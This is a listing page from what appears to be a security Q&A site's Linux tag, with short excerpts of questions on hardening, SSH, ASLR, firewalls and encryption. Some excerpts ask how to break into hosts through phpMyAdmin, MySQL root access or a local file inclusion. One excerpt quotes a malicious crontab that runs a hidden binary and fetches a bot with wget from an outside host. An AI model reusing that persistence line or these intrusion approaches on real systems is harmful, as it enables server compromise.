Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

3
votes
1answer
180 views

Do public keys make Kerberos more secure (RFC4556)?

We're using IPA to centralize our authentication and I found an option to add a public key for each user. After doing a little research I found this to be an extension to Kerberos 5, RFC4556. From my ...
2
votes
1answer
2k views

Victim system's internet connection slow after ARP spoof?

I've been using Nemesis 1.4 to test ARP spoofing on a local victim machine. I've been spoofing both the victim machine and the default gateway to ARP redirect to my machine. Spoofing victim's source ...
0
votes
2answers
594 views

Any open source software firewall with country based ip blocking feature? [closed]

I am looking for an open source firewall with country based ip blocking feature for Linux OS.
6
votes
2answers
540 views

How a malware executes remote payload

Let's assume a malware was installed (on a UNIX-based platform) with some social engineering tricks. The original installed code itself may be benign, but the only malicious activity is that the ...
1
vote
2answers
538 views

Changing IP ID generation of a server

I've seen plenty about Idle Scans and incremental IP IDs on the net, but I have trouble finding a "solution" to the problem. Is there a way to "set" IP IDs for example to all zeros or is it coded into ...
3
votes
5answers
2k views

Security purpose of asking admin password to mount partition on Linux

So I divided my 250GB laptop drive into 2 partitions and some swap. On the second partition which is an ext4 60GB partition I installed Fedora 17. On the other bigger NTFS partition I've got Win XP ...
2
votes
1answer
741 views

Using mysql root account to execute root commands

Suppose that I have full root access to mysql databases, but not root user shell (linux). How can I use the full root access to mysql databases to execute root commands?
52
votes
3answers
99k views

What is the difference between authorized_key and known_host file for SSH?

I am learning basics of SSH protocol. I am confused between the contents of the following 2 files: ~/.ssh/authorized_keys: Holds a list of authorized public keys for servers. When the client ...
1
vote
1answer
3k views

NGINX / HTTP TRACE

I have a http server Nginx with HTTP TRACE Enabled. A single nmap --script=http-methods.nse host.name give this result : Not shown: 988 closed ports PORT STATE SERVICE VERSION [...] ...
1
vote
2answers
1k views

How to defeat ASLR in linux kernel? [duplicate]

Possible Duplicate: Stack Overflows - Defeating Canaries, ASLR, DEP, NX is there anyway to disable ASLR in Linux kernel 2.6.32-71.el6.x86_64, with Apache privileges?? I tried this commands: ...
8
votes
5answers
1k views

Securing Debian Apache PHP Server

I have Debian Apache PHP server. I want to secure him after the classic installation process. My usual steps are : List item update all packages remove all unnecessary services like named, portmap, ...
6
votes
2answers
2k views

Is privilege escalation possible when shell is under www user?

So, suppose that someone obtained a shell of a remote machine (of course via Internet). But the (linux) shell is under www user. Would there be any way of trying privilege escalation?
4
votes
2answers
5k views

How to hack linux via Local File Inclusion vulnerability?

During my penetration testing, I found a local file inclusion vulnerability. In fact this vulnerability existed in mailwatch <= 1.0.4, and its exploit existed in Exploit-DB. I tried to exploit the ...
3
votes
1answer
352 views

How to forward an specific FTP User to a Honeypot?

What I'm trying to do is to forward a specific FTP-User to a Honeypot, because the main server is for Shared Hosting and there's a lot of traffic, and I don't want to spend all the resources in ...
1
vote
2answers
426 views

How to verify correct, secure and test setuid?

I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
4
votes
1answer
2k views

Server monitoring for security

We do a lot of web hosting management and have started to get into selling server management packages. However, we want to start monitoring servers for security related threats. Our clients may use ...
3
votes
3answers
624 views

Truecrypt Plausible Deniability - Linux

As I understand it plausible deniability gives the user the option of having two passwords, one you provide the authorities/extortionist with and another that you might use for your self and files you ...
3
votes
1answer
199 views

Amavisd-New and Google safe browsing

I am studying the Google Safe Browsing. How do I know that it is possible to intercept a content of an email via amavis, I wonder if I can, for each url found, consult the Google safe browsing? Do ...
2
votes
2answers
486 views

Can the `system` function pose severe security threats on a shared hosting server?

I recently bought an account from a shared hosting company and I needed the php system function to be enabled for one of my projects. So I created a ticket and asked them to enable it. This is what ...
10
votes
4answers
795 views

Does UNIX have a dual approval mechanism?

Sudo and logging is used to keep administrators accountable. But is there a command/configuration that lets you enforce a dual approval type control such as the the "Two Person Concept"? (eg. Two ...
2
votes
2answers
3k views

Any reasons to why not use randomize_va_space?

I've been looking a bit into kernel options for hardening, and there is one that seems to be a good idea to deploy - randomize_va_space. But before I activate that feature I started a google search, ...
3
votes
3answers
295 views

Why should every file have a user and a group?

I've been reading in most hardening guides for linux, that you should check for files and directories without valid user or valid group. What I can't find, is how this could be used for an attack, or ...
-1
votes
1answer
3k views

How to hack linux from phpMyAdmin? [closed]

I got the username and the password for phpMyAdmin, and i am trying to hack the operating system "linux". i tried to create an payload.php file which is a pyaload taken form metasploit. i encoded the ...
6
votes
2answers
5k views

Issues with preserving $HOME on sudo

On Ubuntu, the default behavior with sudo is to preserve the user's $HOME environment variable, which means that sudo will be able to read the dot files in the user's home directory. I enjoy this ...
3
votes
2answers
578 views

Do LAMP log files sometimes contain sensitive information?

I will have a LAMP web server with CentOS and cPanel. With this setup, is it possible for any server log files, whether regular or error logs, to contain sensitive information in them, such as ...
4
votes
2answers
983 views

Detect changes in /boot when using full disk encryption

When running a fully encrypted linux system using dm-crypt, the /boot partition has to be unencrypted to boot, as far as I know. I've setup a server that can be unlocked remotely by connecting to a ...
1
vote
2answers
135 views

What was done to gain a list of home directory accounts?

Today some sites were defaced in our WHM/cpanel VPS. I understand that the common cause of this is outdated scripts/plugins/etc. However as I was checking the file manager of one of the accounts I saw ...
2
votes
2answers
4k views

IPTables DDoS protection working with per client IP address counter AND UDP

I am looking to protect LAMP server with a software, which will detect above average number of requests from single IP numbers (in this case DNS queries), and add these hosts to IPTables deny chain. ...
26
votes
3answers
2k views

Is passing sensitive data through the process environment secure?

Recently I have been looking for the possibility to pass sensitive information from one process to another (at process startup time) without passing it through the command line or without using a ...
1
vote
2answers
1k views

How is iptables useful to prevent attacks against a LAN?

I need some advice securing a LAN using iptables. I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These ...
1
vote
2answers
2k views

If Xampp is not secure enough for a production environment what should I use?

I am not even sure if this is the right place to ask this but here goes: I am thinking of running my own small website from a home server. I have been using Ubuntu 12.04 with xampp as my server ...
5
votes
4answers
3k views

What are the most common files to check with File integrity monitoring software?

I have a file integrity monitoring suite and in it I have to select specific files and folders for it to monitor. There are some obvious services that I want monitored like our web-server. Is there a ...
6
votes
4answers
590 views

Would running VMs inside of VMs be a more secure way to study viruses, etc?

I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
10
votes
1answer
3k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
12
votes
4answers
7k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
9
votes
4answers
4k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
2
votes
1answer
318 views

Windows 8 in a VDI environment and the use of Secure Boot

I have a question, How would secure boot be implemented in a virtulized environment, say XEN hypervisor with multiple guest OS's including Windows 8 guest VM? does the guest VM need access to the ...
2
votes
3answers
1k views

Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
8
votes
7answers
5k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
2
votes
2answers
2k views

Skype security (linux)?

From the following article skype & from archlinux skype wiki some major skype insecurity in linux are: The skype binary is disguised against decompiling, so nobody is (still) able to reproduce ...
2
votes
2answers
378 views

How to properly secure OO PHP CMS?

I have OO PHP application which serves pages as well it does payment card processing via external RBS payment gateway. There is also reporting database. The problem is when somebody exploits this PHP, ...
3
votes
4answers
4k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
4
votes
1answer
1k views

Is using decrypt_derived more secure than a keyfile?

Say I have two partitions on a Linux system, a root partition (/) and a /home partition. Both of them are encrypted with LUKS. The /home partition needs only to be decrypted if / is unlocked and ...
1
vote
1answer
85 views

How many connections can TCP_WRAPPERS handle?

As we know that TCP_WRAPPERS is a good way of security on linux/unix system, to disallow or allow remote user to connect to the specific services. Assume that if there have a large number of ...
3
votes
3answers
3k views

Disable Perl for some/most Linux users?

One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
1
vote
1answer
493 views

Installing applications with different user accounts on linux

I have basic question about installing applications on Linux operating system, using the Oracle database as an example. When installing the Oracle database package, I created a user called ora112, a ...
-2
votes
1answer
936 views

Linux tools to choose suitable Cisco ASA 5500

I have a linux webhosting server which affects a high DDOS. I want to use Cisco ASA 5500 Series Adaptive Security Appliances to protect the linux server from this DDOS. I know there are many factors ...
14
votes
5answers
2k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...
13
votes
3answers
4k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
4
votes
1answer
968 views

Can auditd track events that occured over NFS

I have multiple servers mounting a NFS shared called /opt/WHATEVER from Server X. Server X has auditd enables with rule: sudo /sbin/auditctl -w /opt/WHATEVER -p rwxa When events occur on Server X ...